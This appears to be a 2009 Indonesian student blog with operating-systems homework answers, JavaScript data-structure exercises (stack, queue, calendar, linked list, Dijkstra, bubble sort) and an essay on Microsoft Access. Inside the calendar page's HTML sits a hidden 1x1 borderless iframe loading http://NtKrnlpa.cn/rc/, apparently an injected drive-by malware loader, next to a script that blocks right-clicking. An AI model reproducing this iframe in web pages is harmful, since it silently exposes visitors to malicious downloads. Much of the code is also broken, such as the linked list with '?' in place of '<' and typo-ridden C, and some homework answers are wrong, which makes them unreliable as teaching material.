Rabu, 09 September 2009

TUGAS SISTEM OPERASI 3

1. State pada proses terdiri dari :
> New : proses sedang dibuat
> Running : proses sedang di eksekusi
> Waiting : prose sedang menunggu beberapa event yang akan terjadi (seperti menunggu untuk menyelesaikan I/O atau menerima sinyal.
> Ready : proses menunggu jalan waktu dari CPU untuk diproses
> Terminated : proses telah selesai.


Skema pemrosesannya seperti dinawanh ini :



Keterangannya : sebuah proses yang baru saja dibuat dan ada sebuah proses yang sedang di eksekusi sedang menunggu beberapa event yang akan terjadi ( seperti menunggu untuk menyelesaikan I/O atau menerima sinyal ) dan proses tersubut akan melakukan pemrosesan secara menunggu jataah waktunya datri CPU untuk diproses dan setelah proses selesai baru dieksekusi ke komputer.

2. Pengertian dari :
> Short term scheduler adalah pemilihan proses-proses yang siap intuk di eksekusi, dan mengalokasikan CPU kesalah satu dari proses-proses tersebut.
> Long term schudeler adalah menyeleksi proses-proses mana yang harus dibawa ke ready queue, dan terjadi sangat jarang (dalam detik atau menit)dan digunakan untuk mengotrol tingka multi programming.
3. 4 alasan mengapa proses harus bekerja sama yaitu :
> Pada lingkungan batch sebagai tambahan atas pemberian job. Setelah menciptakan proses baru, sistem operasi melanjutkan untuk membaca job selanjunya.
> Pada lingkungan interaktif, pada saat user baru saja login.
> Sebagai tanggapan atas satu aplikasi (seperti: mencetak file, sitem operasi, dapat menciptakan proses yang akan mengelola pencetakan itu).
> Proses menciptakan proses lain(child).
4. Kode program dalam penyelasaian permasalahan producer consumer dengan menggunakan shared memory:
# defaine BUFFER_SIZE 10
Typedef struct {
. . .
} item;
Item buffer [BUFFER_SIZE];
int in = 0;
int out = 0;

Proses prodecer
item next Produced;
while (1) {
while (((in + 1) % BUFFER_SIZE ) == out)
; /* do nothink */
buffer [in] = next produced;
in = (in + 1) % BUFFER_SIZE;
}
Proses comsumer :
Item mext Consumed ;
While (1) {
While (in == out )
; /* do nothink */
nextConsumed = buffer [out];
out = (out + ) % BUFFER_SIZE;
}
5. Diketahui skema komukasi antar proses menggunakan mailbox.
a. Proses P ingin menunggu 2 pesan, satu dari mailbox A dan satu mailbox B. Tunjukan urutan send dan recaive yang dieksekusi.
Jawab :
Send (A pesan ); mengirim pesan ke mailbox B,
Receive(B pesan ); menerima pesan dari mailbox A.
b. Bagaimana urutan send dan recieve yang dieksekusi p jika p ingin menunggu satu pesan dari mailbox A atau mailbox B (salah satu atau keduanya)
Hanya bisa mengunakan satu:
Caranya :
Send (P pesan ); mengirim pesan ke mailbox A,
Receive ( P pesan); menerima peasan darri A.
6. Thread adalah suatu unit dari (CPU) utilazation yang berisi program counter, kumpulan register, dan ruang stack.
Strukurny dibagi menjadi dua :
> Singgle thread seperti (code, data, files, register, stack )
> Miltithread seperti (code, data, files, registers, registers, registers, stack, stack,stack,).
7. 4 keuntungan menggunakan threads pada multiple proces:
> Respon lebih cepat
> Menggunakan resource bersama-sama
> Lebih ekonomis
> Eningkatkan utilitas arsitektur mikroprosesor.
8. Perbedaan user-level threads dan kernel-supported threads.
> Pada user threads diatur dengan menggunakan pustaka use level thread.
> Pada kernel thread didukung oleh kernel
9. 3 model multithreading dan penjelasannya:
> Model many-to-one yaitu beberapa user level thread dipisahkan ke satu kernel thread dan digukan pada sistem yang tidak mendukung kernel thread .
> Model one-to-one yaitu etiap use level thread dipetakan ke karnel thread .
> Model many-to-many yaitu user level thread dipetakan ke beberapa kernel thread pada sistem operasi ini akan dibuat sejumlah kernel thread.
10. State pada java thread yaitu :
Bahasa pemrograman java menggunakan java thread yang dibuat dengan menggukan class thread dan engimplementasikan antar muka yang bersifat runnable (dapat dijalankan ). Java thread di atur oleh java virtual machine (JVM). Java thread terdiri dari state new, runnable, bloced, dan dead .
Ket: pada suatu program akan dibikin baru dengan memulai tombol start sehingga program tersebut dapat dijalankan seperti yang di inginkan kemudian progran tersebut dapat dialihkan ke ke program yang lainnya dengan cara menyortir semunya dan akan berhenti jika semuanya sudah berhenti dan program tersebut akan mati dengan sendirinya.

Senin, 06 Juli 2009

Parameter Array

<html>
<head>
<title>Parameter Array</title>
</head>
<body><script language = "javascript">
<!-- var tempat = [];
var data = prompt("ketik jumlah maksimum array :");
for (m=1; m<=data; m++)
{var bil = prompt ("Masukan Bilangan :")tempat[m]=bil;}
for (n=1; n<=data; n++)
{document.write("Elemen Array ("+n+") ="+tempat[n] +"<br>");}
//-->
</script>
</body>
</html>

contoh hasil setelah di running

Elemen Array (1) =11
Elemen Array (2) =12
Elemen Array (3) =13
Elemen Array (4) =14
Elemen Array (5) =15

STACK

<html>
<head><title>Data stack</title>
<script language="javascript">
var stack = new Array();
function input(data)
{
stack.push(data);
}
function ambil()
{
var data_stack=stack.pop();
if (data_stack==undefined)
return "stack sudah kosong";
else
return data_stack;
}
function tampilkan(list)
{
list.options.length=0;
for (var i=0; i<stack.length; i++)
{
var data=new Option (stack[i]);
list.options[list.options.length]=data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Simpan"
onClick='input(textSimpan.value);
textSimpan.value="";
tampilkan(mediaList);'>
<select name="mediaList" size=12>
<option>Tampilkan Data....
</select>
<input type=text name=textambil size=20>
<input type=button value="ambil"
onClick="textambil.value=ambil();
tampilkan(mediaList);">
</form>
</body>
</html>

QUEUE PUSH_SHIFT

<html>
<head><title>Struktur Data Queue</title></head>
<script language="javascript">
var queue=new Array();

function input(data)
{
queue.push(data)
}

function ambil()
{
var keluar_antrian=queue.shift();
if (keluar_antrian==0)
return "Queue sudah kosong";
else
return keluar_antrian;
}

function tampilkan (list)
{
list.options.length =0;
for (var i=0; i< queue.length; i++)
{
var data = new Option (queue[i]);
list.options[list.options.length] = data;
}
}
</script>
</head>
<body>
<form>
<input type=text name=textSimpan>
<input type=button value="Masuk Antrian"
onClick='input(textSimpan.value);
textSimpan.value="";
tampilkan(mediaList);'>

<select name="mediaList" size=12>
<option> Isi Antrian....
</select>
<input type=button value="Keluar Antrian"
onClick='textAmbil.value = ambil();
tampilkan(mediaList);'>
<input type=text name=textAmbil>
</form>
</body>
</html>

Minggu, 05 Juli 2009

CALENDER

<HTML>
<Head>
<title> Stuktur Data </TITLE>
<script>
<!--
alert ("......oOpzz......);
alert ("nGinTip HeUla aHH..");
//-->
</script>


</HEAD>

<Body bgcolor="orange">
<font color="green">
<p> cLocK n' calendeR
</font><hr>

<tr>

<th>Struktur </th>
<th>Data</th>
<th>"wilaYaH KaRawaNg"</th>
</tr>

<h1> taMpiLan </h1><font color="yellow">
<marquee> Jejen Jaelani</marquee>

<html>
<head>
<title>Clock</title>
<script type="text/javascript">
var namaBulanI = new Array( "JanuaRy","FeBRuaRy","MaRch","ApRil","MEy","JuNe",
"JUly","AuGtus","SePtEmbEr","OctoBeR","NoVemBer","DeCemBer" );
var namaHariI = new Array( "Monday","Tuesday","Wednesday","Thrusday","Friday","saturday","Sunday" );

function showDate() {
now = new Date();

iTanggalM = now.getDate();
iBulanM = now.getMonth();
iTahunM = now.getYear();
if(iTahunM<1900) { iTahunM += 1900; } // Y2K

iJam=now.getHours();
iMenit=now.getMinutes();
iDetik=now.getSeconds();

hr = Date.UTC(iTahunM,iBulanM,iTanggalM,0,0,0)/1000/60/60/24;

sDate = namaHariI[hr%7]+", "+iTanggalM+" "+namaBulanI[iBulanM]+" "+iTahunM+"<br>";
sDate += (iJam<10?"0"+iJam:iJam)+":"+
(iMenit<10?"0"+iMenit:iMenit)+":"+
(iDetik<10?"0"+iDetik:iDetik);

if(document.all)
{ document.all.clock.innerHTML=sDate; }
else if(document.getElementById)
{ document.getElementById( "clock" ).innerHTML=sDate; }
else { document.write(sDate); }
}

function showIt() {
showDate();
if(document.all||document.getElementById)
{ setInterval("showDate()",1000); }
}
</script>
</head>
<body>
<span id="clock"><script>showIt();</script></span>
</body>
</html>

<HTML>
<head>
<META HTTP-EQUIV="imagetoolbar" CONTENT="no">
<style type="text/css">
body {
font-family: arial, helvetica, serif;


</style>
<script type="text/javascript">
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
var message="";
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function("return false")
<!-- Original: Nick Korosi (nfk2000@hotmail.com) -->
<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->
<!-- Begin
var dDate = new Date();
var dCurMonth = dDate.getMonth();
var dCurDayOfMonth = dDate.getDate();
var dCurYear = dDate.getFullYear();
var objPrevElement = new Object();
function fToggleColor(myElement) {
var toggleColor = "#ff0000";
if (myElement.id == "calDateText") {
if (myElement.color == toggleColor) {
myElement.color = "";
} else {
myElement.color = toggleColor;
}
} else if (myElement.id == "calCell") {
for (var i in myElement.children) {
if (myElement.children[i].id == "calDateText") {
if (myElement.children[i].color == toggleColor) {
myElement.children[i].color = "";
} else {
myElement.children[i].color = toggleColor;
}
}
}
}
}
function fSetSelectedDay(myElement){
if (myElement.id == "calCell") {
if (!isNaN(parseInt(myElement.children["calDateText"].innerText))) {
myElement.bgColor = "#c0c0c0";
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = parseInt(myElement.children["calDateText"].innerText);
objPrevElement = myElement;
}
}
}
function fGetDaysInMonth(iMonth, iYear) {
var dPrevDate = new Date(iYear, iMonth, 0);
return dPrevDate.getDate();
}
function fBuildCal(iYear, iMonth, iDayStyle) {
var aMonth = new Array();
aMonth[0] = new Array(7);
aMonth[1] = new Array(7);
aMonth[2] = new Array(7);
aMonth[3] = new Array(7);
aMonth[4] = new Array(7);
aMonth[5] = new Array(7);
aMonth[6] = new Array(7);
var dCalDate = new Date(iYear, iMonth-1, 1);
var iDayOfFirst = dCalDate.getDay();
var iDaysInMonth = fGetDaysInMonth(iMonth, iYear);
var iVarDate = 1;
var i, d, w;
if (iDayStyle == 2) {
aMonth[0][0] = "Sunday";
aMonth[0][1] = "Monday";
aMonth[0][2] = "Tuesday";
aMonth[0][3] = "Wednesday";
aMonth[0][4] = "Thursday";
aMonth[0][5] = "Friday";
aMonth[0][6] = "Saturday";
} else if (iDayStyle == 1) {
aMonth[0][0] = "Sun";
aMonth[0][1] = "Mon";
aMonth[0][2] = "Tue";
aMonth[0][3] = "Wed";
aMonth[0][4] = "Thu";
aMonth[0][5] = "Fri";
aMonth[0][6] = "Sat";
} else {
aMonth[0][0] = "Su";
aMonth[0][1] = "Mo";
aMonth[0][2] = "Tu";
aMonth[0][3] = "We";
aMonth[0][4] = "Th";
aMonth[0][5] = "Fr";
aMonth[0][6] = "Sa";
}
for (d = iDayOfFirst; d < 7; d++) {
aMonth[1][d] = iVarDate;
iVarDate++;
}
for (w = 2; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (iVarDate <= iDaysInMonth) {
aMonth[w][d] = iVarDate;
iVarDate++;
}
}
}
return aMonth;
}
function fDrawCal(iYear, iMonth, iCellWidth, iCellHeight, sDateTextSize, sDateTextWeight, iDayStyle) {
var myMonth;
myMonth = fBuildCal(iYear, iMonth, iDayStyle);
document.write("<table border='1'>")
document.write("<tr>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][0] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][1] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][2] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][3] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][4] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][5] + "</td>");
document.write("<td align='center' style='FONT-FAMILY:Arial;FONT-SIZE:12px;FONT-WEIGHT: bold'>" + myMonth[0][6] + "</td>");
document.write("</tr>");
for (w = 1; w < 7; w++) {
document.write("<tr>")
for (d = 0; d < 7; d++) {
document.write("<td align='left' valign='top' width='" + iCellWidth + "' height='" + iCellHeight + "' id=calCell style='CURSOR:Hand' onMouseOver='fToggleColor(this)' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>");
if (!isNaN(myMonth[w][d])) {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)>" + myMonth[w][d] + "</font>");
} else {
document.write("<font id=calDateText onMouseOver='fToggleColor(this)' style='CURSOR:Hand;FONT-FAMILY:Arial;FONT-SIZE:" + sDateTextSize + ";FONT-WEIGHT:" + sDateTextWeight + "' onMouseOut='fToggleColor(this)' onclick=fSetSelectedDay(this)> </font>");
}
document.write("</td>")
}
document.write("</tr>");
}
document.write("</table>")
}
function fUpdateCal(iYear, iMonth) {
myMonth = fBuildCal(iYear, iMonth);
objPrevElement.bgColor = "";
document.all.calSelectedDate.value = "";
for (w = 1; w < 7; w++) {
for (d = 0; d < 7; d++) {
if (!isNaN(myMonth[w][d])) {
calDateText[((7*w)+d)-7].innerText = myMonth[w][d];
} else {
calDateText[((7*w)+d)-7].innerText = " ";
}
}
}
}
// End -->
</script>
</head>
<body>
<table width="760" height="577" border="0">
<tr>
<td width="140">&nbsp;</td>
<td width="620" valign="top"><br><br><b><u>Event Calendar</u></b><br><br>
<script language="JavaScript" for=window event=onload>
<!-- Begin
var dCurDate = new Date();
frmCalendarSample.tbSelMonth.options[dCurDate.getMonth()].selected = true;
for (i = 0; i < frmCalendarSample.tbSelYear.length; i++)
if (frmCalendarSample.tbSelYear.options[i].value == dCurDate.getFullYear())
frmCalendarSample.tbSelYear.options[i].selected = true;
// End -->
</script>
<form name="frmCalendarSample" method="post" action="">
<input type="hidden" name="calSelectedDate" value="">
<table border="1">
<tr>
<td>

<select name="tbSelMonth" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>

<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<select name="tbSelYear" onchange='fUpdateCal(frmCalendarSample.tbSelYear.value, frmCalendarSample.tbSelMonth.value)'>
<option value="2006">2006</option>
<option value="2007">2007</option>
<option value="2008">2008</option>
<option value="2009">2009</option>

<option value="2010">2010</option>
<option value="2011">2011</option>
<option value="2012">2012</option>
</select>
</td>
</tr>
<tr>
<td>
<script language="JavaScript">
var dCurDate = new Date();
fDrawCal(dCurDate.getFullYear(), dCurDate.getMonth()+1, 30, 30, "12px", "bold", 1);
</script>
</td>
</tr>
</table>
</form>

</td>
</tr>
</table>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>

Latihan UAS

?html>
?head>
?title>Struktur Data Linked List?/title>
?/head>
?body>
?script language = "JavaScript">
?!--

function LinkedList()
{
this._panjang = 0;
this._kepala = null;
}

LinkedList.prototype =
{
constructor: LinkedList,

//Membuat Metode untuk Menambah Data Kedalam List
Tambah: function (data)
{
//Membuat Node List
var node = {data: data, next: null}, NodeTanda;

//Periksa Isi List
if (this._kepala === null)
{
this._kepala = node;
}
else
{
NodeTanda = this._kepala;
while (NodeTanda.next)
{
NodeTanda = NodeTanda.next;
}
NodeTanda.next = node;
}
this._panjang++
},


//Membuat metode Untuk Menunjuk Item Data
Item: function (index)
{
if (index > -1 && index ? this._panjang)
{
var NodeTanda = this._kepala,
i = 0;
while (i++ ? index)
{
NodeTanda = NodeTanda.next;
}
return NodeTanda.data;
}
else
{
return null;
}
},


//Membuat metode Untuk Membuang Elemen List
Buang: function (index)
{
if (index > -1 && index ? this._panjang)
{
var NodeTanda = this._kepala, previous, i = 0;
if (index === 0)
{
this._kepala = NodeTanda.next;
}
else
{
while (i++ ? index)
{
previous = NodeTanda;
NodeTanda = NodeTanda.next;
}

previous.next =NodeTanda.next;
}
this._panjang--;
return NodeTanda.data;
}
else
{
return null;
}
},


//Membuat metode Untuk Mengetahui Jumlah Elemen List
Ukuran: function()
{
return this._panjang;
},


//Membuat metode Untuk Membentuk Array
toArray: function()
{
var result = [],
NodeTanda = this._kepala;

while (NodeTanda)
{
result.push (NodeTanda.data);
NodeTanda = NodeTanda.next;
}
return result;
},


//Membuat metode Untuk Konversi ke String
toString: function()
{
return this.toArray().toString();
}

}
var list = new LinkedList ();


list.Tambah("3");
list.Tambah("2");
list.Tambah("1");
list.Tambah("4");


document.write("Isi Linked List ?br>");
document.write("--------------- ?br>");
for (i=0; i?4; i++)
{
document.write(list.Item(i) + "?br>");
}
document.write("--------------- ?br>");

document.write("Isi Linked List Awal = " +list.Ukuran() + "?br>");
document.write ("?br>")


document.write("Isi Linked List to Array =" +list.toArray());
document.write ("?br>")


document.write("Data String Linked List Awal =" +list.toString());



function Urutkan (form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i ? inputData.length; i++)
{
inputData[i] = parseInt (inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}

inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value = DataString(inputData, 0);
}

function DataString (toArray, Angka)
{
if ((toArray.length - 1) >= Angka)
return (toArray[Angka] + "," + DataString(toArray,(Angka +

1)));
else
return "";
}

function bubbleSort (toArray, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j ?= i; j++)
{
if (toArray[j+1] ? toArray[j])
{
var DataTemporer = toArray[j];
toArray[j] = toArray[j+1];
toArray[j+1] = DataTemporer;
}
}
}

return toArray;
}




?/script>



?body>
?center>
?form>
Masukan Deretan Angka, Pisahkan dengan Koma :
?hr>
?input type=text name=Data size=30 value= >
?br>
?br>
?input type=button value="Urutkan"

OnClick="Urutkan(this.form)">
?br>
?br>
?br>
Hasil Pengurutan :
?hr>
?input type=text name=Hasil size=30>
?/form>
?/center>

?/body>
?/html>
?/html>

Sabtu, 27 Juni 2009

GRAPH

<html>
<head><title>Dijkstra Algorithms </title>

</head>
<body>
<script language = "javascript">

var NilaiAcuan = 10000;
var TakTerdefinisi = -1;
var NamaVerteks = new Array('A','B','C','D','E','F');
var Matriks = new Array(6);

function Bobot(a,b)
{
return Matriks[a][b];
}

function Dijkstra(JumlahVerteks,Awal,d)
{
var Posisi = new Array(JumlahVerteks);
var i;
var Kunjungan = new Array(JumlahVerteks);
var pred = new Array(JumlahVerteks);

for(i=0; i<JumlahVerteks; i++)
{
Posisi[i] = NilaiAcuan;
pred[i] = TakTerdefinisi;
Kunjungan[i] = false;
}
Posisi[Awal] = 0;

var Verteks;
for (Verteks = 0; Verteks < JumlahVerteks; Verteks++)
{
var JarakTerpendek = NilaiAcuan, closest = -1;
for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
if (Posisi[i] <= JarakTerpendek)
{
JarakTerpendek = Posisi[i]; closest = i;
}
}
}

Kunjungan[closest] = true

for (i=0; i < JumlahVerteks; i++)
{
if (!Kunjungan[i])
{
var w = Bobot(closest, i);
if (Posisi[closest]+w < Posisi[i])
{
Posisi[i] = Posisi[closest] + w;
pred[i] = closest;
}
}
}
}


i=d
if (Posisi[i] < NilaiAcuan)
{
var Lintasan = NamaVerteks[i];
var Verteks = i;
while (Verteks>0)
{
Verteks = pred[Verteks];
if (Verteks>=0) Lintasan = NamaVerteks[Verteks] + '->' + Lintasan;
}
alert("Jarak :" + Posisi[i]+' ('+Lintasan+')'+'<br>');
} else
{
alert("Tidak ada Jalur");
}
}


var x = '~';
document.write('<pre>');
document.write(Matriks[0]=new Array(0,2,3,x,x,x));
document.write('<br>');
document.write(Matriks[1]=new Array(2,0,3,6,x,x));
document.write('<br>');
document.write(Matriks[2]=new Array(3,3,0,3,5,x));
document.write('<br>');
document.write(Matriks[3]=new Array(x,6,3,0,1,3));
document.write('<br>');
document.write(Matriks[4]=new Array(x,x,5,1,0,1));
document.write('<br>');
document.write(Matriks[5]=new Array(x,x,x,3,1,0));
document.write('<br>');
document.write('</pre>');


document.write('<pre>A-2-B-6--D--3-F <br>');
document.write('\\ | /| / <br>');
document.write(' 3 3 3 1 1 <br>');
document.write(' \\ | / | / <br>');
document.write(' \\|/ |/ <br>');
document.write(' C--5-E <br> </pre>');




var Dari=0; // A
var Ke =5; // F
Dijkstra(Matriks.length,Dari,Ke);
//-->

</script>

</body>
</htmL>

Bubble Short

<html>
<head>
<script LANGUAGE="JavaScript">

function Urutkan(form)
{
DataKosong = false;
DataInputan = form.Data.value;
inputData = DataInputan.split(",");
for (var i = 0; i < inputData.length; i++)
{
inputData[i] = parseInt(inputData[i], 10);
if (isNaN(inputData[i]))
{
DataKosong = true;
break;
}
}

inputData = bubbleSort(inputData, 0, inputData.length - 1);
if (DataKosong)
{
alert("Silakan Entri Dulu Data, Pisahkan dengan tanda Koma");
form.Data.focus();
}
else
form.Hasil.value = DataString(inputData, 0);
}

function DataString(ArrayData, Angka)
{
if ((ArrayData.length - 1) >= Angka)
return (ArrayData[Angka] + "," + DataString(ArrayData,(Angka + 1)));
else return "";
}

function bubbleSort(ArrayData, Mulai, MulaiBaru)
{
for (var i = MulaiBaru - 1; i >= Mulai; i--)
{
for (var j = Mulai; j <= i; j++)
{
if (ArrayData[j+1] < ArrayData[j])
{
var DataTemporer = ArrayData[j];
ArrayData[j] = ArrayData[j+1];
ArrayData[j+1] = DataTemporer;
}
}
}

return ArrayData;
}

</script>
</head>

<body>
<center>
<form>

Masukan Deretan Angka, Pisahkan dengan Koma :
<hr>
<br> <input type=text name=Data size=30 value="3,4,5,6,8,5,12,4,8,4,20">
<br>
<br>
<input type=button value="Urutkan" onClick="Urutkan(this.form)">
<br>
<br>
<br>
Hasil Pengurutan :
<hr>
<input type=text name=Hasil size=30>

</form>
</center>

</body>
</html>

INSTALASI KOMPUTER

Perdebatan tentang Microsoft Access

Setelah ulasan-ulasan singkat pada bagian sebelumnya untuk memberikan sedikit latar belakang teori, maka sudah saatnya kita mengulas pendapat tentang Microsoft Access yang ada dalam banyak forum termasuk di dalam forum atau blog MSDN.
• Microsoft Access tidak banyak digunakan.
• Microsoft Access adalah mainan/“toy”.
• Microsoft Access tidak berkembang.
• Microsoft Access tidak bisa membuat komponen komponen.
• Aplikasi Microsoft Access adalah aplikasi yang hanya cocok untuk prototipe.

Sebelum kita masuk pada ulasan-ulasan ini ada baiknya kita harus mengingat dua hal yang penting di atas yaitu: Philosophy dan dua sifat Microsoft Access.

Apakah Benar Microsoft Access Tidak Banyak Digunakan?
Yang mengatakan ini pasti tidak pernah melihat diskusi di situs-situs internet seperti MSDN, Google dan lain sebagainya. Kenyataannya adalah Microsoft Access database adalah RDBMS yang paling populer di muka bumi yang pemakainya berjuta-juta orang. Tepatnya berapa tidak ada yang bisa tahu karena banyak sekali mereka-mereka seperti bos di atas, siswa-siswi, mahasiswa-mahasiswi, profesor di universitas yang hanya menggunakan Microsoft Access untuk kepentingan tugas atau pribadi yang tidak mungkin terdeteksi satu persatu.

Microsoft Access adalah Mainan/“Toy”
Tanya seorang anak kecil, apakah yang paling disukainya. Anak-anak akan mengatakan bahwa mereka suka mainan. Demikian pula orang dewasa suka sekali pada hal yang menyenangkan. Apa salahnya dengan hal-hal yang menyenangkan dalam pekerjaan? Microsoft Access adalah alat yang menyenangkan karena mudahnya pembelajar awal untuk membuat sesuatu yang berguna. Sukses kecil dari awal akan memberikan motivasi yang luar biasa untuk belajar.
Kritik ini dapat dipastikan dari orang-orang yang menyukai hal-hal teoritis dan tidak mengerti alasan dibuatnya Microsoft Access. Orang-orang teoritis ini suka sekali pada hal-hal yang ruwet dan tidak mempertimbangkan kecepatan dalam pengembangan. Kebalikannya, pimpinan perusahaan seperti di atas sangat menghargai kecepatan dan waktu dan tidak peduli bila Microsoft Access “heavily sub classing”- istilah itu adalah untuk menyatakan pembuatan class dari class sampai beberapa kali. Kemungkinan besar bos itu sama sekali tidak mengerti istilah yang dimaksud.

Ada pendapat menarik dari Dan Appleman dalam bukunya “Moving to VB NET” halaman 61 yang yang mengkritik programmer yang terlalu teoritis. Harap diingat yang dimaksud VB dalam komentarnya adalah VB 6 atau sebelumnya.

“Saya pikir pengembang VB merasa terintimidasi oleh pengembang C++, yang mempunyai kecenderungan untuk menaikkan hidungnya dan berkata, VB bukan bahasa berorientasi objek yang benar. Bahasa berorientasi objek mempunyai sifat ‘Inheritance’ – yang mana pengembang dalam bahasa VB dapat menyelesaikan kode yang sama banyak dalam satu jam sedangkan pengembang C++ menyelesaikannya dalam satu minggu. Tetapi itu tidak masalah karena C++ adalah bahasa yang modern, elegan, profesional, OOP dan VB hanya mainan bagi pengembang pemula, yang dirancang bagi mereka yang tidak bisa mengatasi C++”
Penulis setuju dengan kritikan Dan Appleman.

Microsoft Access Tidak Berkembang
Ini keluhan dari pengembang profesional Microsoft Access yang ditemukan di blog MSDN. Namun sayangnya karena tidak memberikan keterangan Microsoft Access yang mana maka keluhan ini bisa mengarah pada hal yang tidak tepat. Bila yang dimaksud adalah Microsoft Access sebagai back-end maka hal ini ada benarnya. Lihat bagian lampiran Database Specifications yang penulis ambil dari dokumentasi Help Microsoft Access 2007 yang memang tidak banyak perubahan. Pertanyaannya adalah untuk apa dan mengapa?
Banyak keluhan bersumber karena lemahnya mereka pada teori desain database sehingga mereka memerlukan banyak sekali tabel untuk aplikasinya yang semestinya bisa berkurang lebih dari 50 persen dari yang seharusnya.

Bila melihat Access sebagai front-end maka keluhan itu bisa jadi salah besar dengan terus ditambahkannya fitur-fitur yang bermanfaat seperti koneksi Microsoft Access Project untuk koneksi ke SQL Server, koneksi ke SharePoint dan tampilan terbarunya dengan UI Ribbon. Secara pribadi penulis sependapat dengan perkembangan yang terjadi dengan Microsoft Access.
Jika karena suatu hal Microsoft Access harus dipisahkan dan menghilangkan salah satu dari dua sifat Microsoft Access (lihat teori divergensi), mana yang anda pilih, menghilangkan Access sebagai back-end atau menghilangkan Access sebagai front-end. Penulis lebih memilih menghilangkan Access back end. Perhatikan perkembangan yang terjadi dengan Microsoft SQL Server Express yang databasenya dapat dianggap sebagai file server. Penulis mengharapkan SQL server Express ini dapat terus dikembangkan dan disederhanakan.

Microsoft Access Tidak Bisa Membuat Komponen-Komponen
Jika yang dimaksud dengan membuat dll (Dynamic Linking Library) maka ada benarnya pendapat tersebut tetapi kita bisa membuat sub sistem-sub sistem dari aplikasi dengan memecahnya menurut fungsi-fungsinya. Dan bila diperlukan untuk membuat dll maka kita bisa membuatnya dengan aplikasi VB6 atau sebelumnya. Ini mungkin akan mengejutkan bila saya katakan bahwa Microsoft Access juga bisa menggunakan dll yang dibuat oleh teknologi NET. Alasan utama mengapa penulis tidak pernah membuat dll dengan teknologi NET adalah karena keharusan mempunyai NET Framework bila pengguna menggunakan aplikasi Microsoft Access yang kami buat. Ini juga mungkin akan mengejutkan anda, bila kami katakan bahwa Microsoft Access juga bisa dikembangkan dengan metodologi OOP dan dirancang dengan teknologi “Three or More tier”.

Aplikasi Microsoft Access adalah Aplikasi yang Hanya Cocok untuk Prototipe
Saya pernah membaca buku yang mengatakan bahwa Microsoft Access hanya cocok untuk membuat prototipe aplikasi. Kalau penulis itu merubah kalimatnya dengan “Microsoft Access cocok untuk membuat prototipe” maka penulis setuju tetapi Microsoft Access tidak hanya cocok untuk membuat prototipe, Microsoft Access adalah alat pengembangan database yang handal yang dapat digunakan untuk membuat aplikasi database desktop ataupun untuk membuat aplikasi client server dengan Microsoft SQL server sebagai back-end nya. Jadi aplikasi Microsoft Access anda jangan dibuang tetapi perlu terus dipelihara dan dikembangkan sesuai dengan spesialisasi perusahaan di mana anda bekerja.

Kesimpulan

Microsoft Access adalah alat favorit penulis namun bukan alat pengembangan yang ideal. Mengapa demikian? Ada hal yang membuat iri penulis kepada pengembang NET karena tersedianya koleksi “Class” yang luar biasa besar pada teknologi NET. Kami cukup dibuat repot dengan keterbatasan pada Microsoft Access karena terbatasnya “library” yang ada, misalnya saja untuk fungsi clipboard untuk gambar yang mengharuskan kami menggunakan API yang cukup rumit dan kode yang panjang, dibandingkan dengan satu baris kode bila menggunakan satu Class pada NET.

